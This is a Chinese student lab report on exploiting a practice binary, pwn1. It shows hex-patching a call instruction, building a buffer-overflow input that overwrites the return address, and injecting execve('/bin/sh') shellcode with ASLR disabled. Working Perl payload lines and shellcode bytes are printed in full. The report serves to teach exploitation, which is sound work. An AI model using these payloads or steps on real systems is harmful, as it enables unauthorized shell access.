20241905 2024-2025-2 《网络攻防实践》 第9次作业

1. 实验内容

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2. 实验过程

通过命令hostnamectl set-hostname kongjiayin修改主机名为本人的姓名拼音,再重启系统,即可永久修改名称,从图中可以看到终端中显示的主机名已经被修改

image-20250424092511323

下载实验文件pwn1并通过命令mv pwn1 pwn20241905修改文件名,从下图可以看到,名称已经修改成功

image-20250424092844408

2.1 修改文件改变程序执行流程

1、通过命令objdump -d pwn20241905 | more对可执行文件进行反汇编

image-20250424093700839

2、观察代码,找到main函数,看到如下代码

call 8048491 <foo> # 表示调用地址位于8048491处的foo函数
# 对应的机器指令是“e8 d7ffffff”,其中,e8表示跳转。正常流程,此时EIP的值应该是下条指令的地址,即80484ba,但遇到e8这条指令,CPU就会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba + d7ffffff = 80484ba-0x29,即8048491

image-20250424094832899

3、分析可执行文件,思考如何改变程序执行流程,使其直接跳转到getShell函数

已知main函数调用foo函数,对应的机器指令是e8 d7ffffff,那想要改变程序执行流程,改成调用getShell函数,只要修改d7ffffff使得80484ba + x = getShell函数的地址即可。从图中可以查看到代码中getShell函数的地址为804847d

image-20250424095544271

计算80484ba + x = 804847d中的x的值,可以得到x = 0804847d - 80484ba = ffffffc3,由于机器指令中需要的是补码,所以翻转一下,即为c3ffffff。综合之前的分析,可以得出,将机器指令修改为e8 c3ffffff,即可实现跳转到getShell函数

4、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

通过命令vim pwn20241905打开可执行文件,通过命令:%!xxd以十六进制来显示文件内容,找到000004b0处显示d7的位置,将其改为c3,下图为修改位置

image-20250424102116114

通过命令:%!xxd -r 将十六进制转换为原格式,通过命令:wq保存并退出

5、通过命令objdump -d pwn20241905 | more对可执行文件进行反汇编,查看手工做出的修改,是否使得call指令正确调用了getShell,由图中可以看到,修改成功

image-20250424102626315

6、通过命令./pwn20241905运行修改后的代码,会得到shell提示符,表明已经修改成功,调用了getShell函数

image-20250424103008336

2.2 利用漏洞构造攻击

1、通过命令objdump -d pwn20241905 | more反汇编,了解程序的基本功能。由图中可以看到getShell函数,目标是触发这个函数。在上一个实验的基础上,已经知道该文件正常运行时,main函数会调用foo函数,但foo函数存在Buffer overfolw漏洞,所以可以通过分析foo函数,利用此漏洞构造攻击,使得触发getShell函数。下图是这两个函数

image-20250424103944999

2、分析下面的foo函数

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 # sub指令,给堆栈esp预留了一定大小的空间
 8048494:       83 ec 38                sub    $0x38,%esp
 # lea指令,将携带偏移量0x1c的ebp放到eax
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 # mov指令,将eax放到堆栈esp上
 804849a:       89 04 24                mov    %eax,(%esp)
 # 这里读入字符串,预留了28字节的缓冲区给函数gets@plt
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave
 80484ae:       c3                      ret

分析可以得知,foo函数只预留了28字节的缓冲区,所以超出部分会造成溢出。由于该函数是通过main函数以call指令调用的,所以溢出的部分将会被当作eip寄存器的值

综上,如果能够使得eip中的值变成getShell函数的地址0804847d,就能够覆盖返回地址,触发getShell函数。由于main函数先压入栈的是esp,占4个字节,所以要构造的攻击输入字符串应该在第33-36个字节为0804847d

3、需要确认字节顺序,是输入11112222333344445555666677778888\x08\x04\x84\x7d,还是输入11112222333344445555666677778888\x7d\x84\x04\x08来构造输入字符串。由于无法直接通过键盘输入,所以需要使用Perl,Perl作为一门解释性语言,可以直接在命令行上使用
分别运行下面的命令,生成一个包含getShell首地址的文件,输出到20241905input1文件和20241905input2文件中

perl -e 'print "11112222333344445555666677778888\x08\x04\x84\x7d"' > 20241905input1
perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08"' > 20241905input2

image-20250424112144283

4、由于输出文件中有些字符无法显示,所以需要通过管道传递给另一个文件,作为该文件的输入,输入下面的命令进行测试

(cat 20241905input1; cat) | ./pwn20241905
(cat 20241905input2; cat) | ./pwn20241905

可以看到20241905input1出现错误,但是20241905input2成功执行了getShell,因此应该构造的输入攻击字符串为11112222333344445555666677778888\x7d\x84\x04\x08。至此,攻击成功

image-20250424112316535

2.3 注入shellcode并运行

1、通过命令apt-get install execstack安装execstack

image-20250424171432765

2、通过命令execstack -s pwn20241905设置堆栈为可执行状态

image-20250424172707428

3、通过命令execstack -q pwn20241905堆栈是否为可执行状态

image-20250424172725423

4、通过命令more /proc/sys/kernel/randomize_va_space查看地址随机化状态,由图中可以看到为开启状态

image-20250424172740882

5、通过命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,再通过命令more /proc/sys/kernel/randomize_va_space查看状态,由图中可以看到已经为关闭状态

image-20250424172759131

6、选择retaddr+nop+shellcode的构造方法来构造shellcode。通过perl来构造输入字符串,用来确定retaddr

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20241905input3

image-20250424210539049

7、通过命令(cat 20241905input3; cat) | ./pwn20241905 20241905input3设为pwn20241905的输入。通过命令ps -ef | grep pwn20241905查看进程,由图中可以看到进程号为1754

image-20250424211754176

8、通过gdb调试这个进程,通过命令attach 1754pwn20241905程序进行调试

image-20250424211818994

9、通过命令disassemble foo,查看foo函数的ret指令的地址

image-20250424211835113

10、通过命令break *0x080484ae设置断点

image-20250424211850604

11、在右边的终端输入c,在左边的终端回车,到达断点

image-20250424211925329

12、通过命令info r esp查看esp寄存器的值,由图中可以看到此时esp寄存器的值为0xffffd16c

image-20250424211944519

12、通过命令x/16x 0xffffd16c 查看当前栈顶的值,由图中可以看到为0x01020304,这与之前输入的x4x3x2x1相对应

image-20250424212117413

13、综上可以计算得到retaddr=ffffd16c+00000004=ffffd170。因此可以构造shellcode为

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20241905input4

再通过命令(cat 20241905input4;cat) | ./pwn20241905运行程序,由图中可以看到此时已经调用getShell成功,即攻击成功

image-20250424213110479

3. 学习中遇到的问题及解决

  • 问题1:运行pwn文件失败

    image-20250424103041411

  • 问题1解决方法:通过命令chmod u+x ./pwn20241905修改一下权限

    image-20250424103127098

  • 问题2:execstack安装失败

    image-20250424113707175

  • 问题2解决方法:运行下面的命令重新安装

    vim /etc/apt/sources.list
    # 添加下面的内容
    deb http://http.kali.org/kali kali-rolling main contrib non-free
    deb http://http.kali.org/kali sana main non-free contrib
    deb http://security.kali.org/kali-security sana/updates main contrib non-free
    deb http://old.kali.org/kali moto main non-free contrib
    apt-get update
    apt-get install execstack
    

4. 学习感想和体会

这次实验内容操作并不复杂,但是由于对汇编等知识不太了解,在理解每一步操作时花费了很多时间,但也得益于本次实验,我对网络攻防的计算机系统底层机制有了更深的理解。第一个实验中,在分析明白底层代码的逻辑后,只需要修改几个字节,就能够完全改变程序的运行流程。第二个实验则是利用底层代码的缓冲区溢出漏洞,改变了程序的运行流程,对我而言,这启示了我在设计模型时,也需要考虑溢出造成的安全问题。最后,shellcode注入的实验更是让我领略到攻击的魅力,总的来说,本次实验我收获很大。

参考资料

《网络攻防技术与实践》课本和学习通视频

zsh: permission denied问题的解决办法-CSDN博客

Kali Linux E:Unable to locate package 完美解决!_kali unable to locate package-CSDN博客

posted @ 2025-04-25 10:38  放放q  阅读(86)  评论(0)    收藏  举报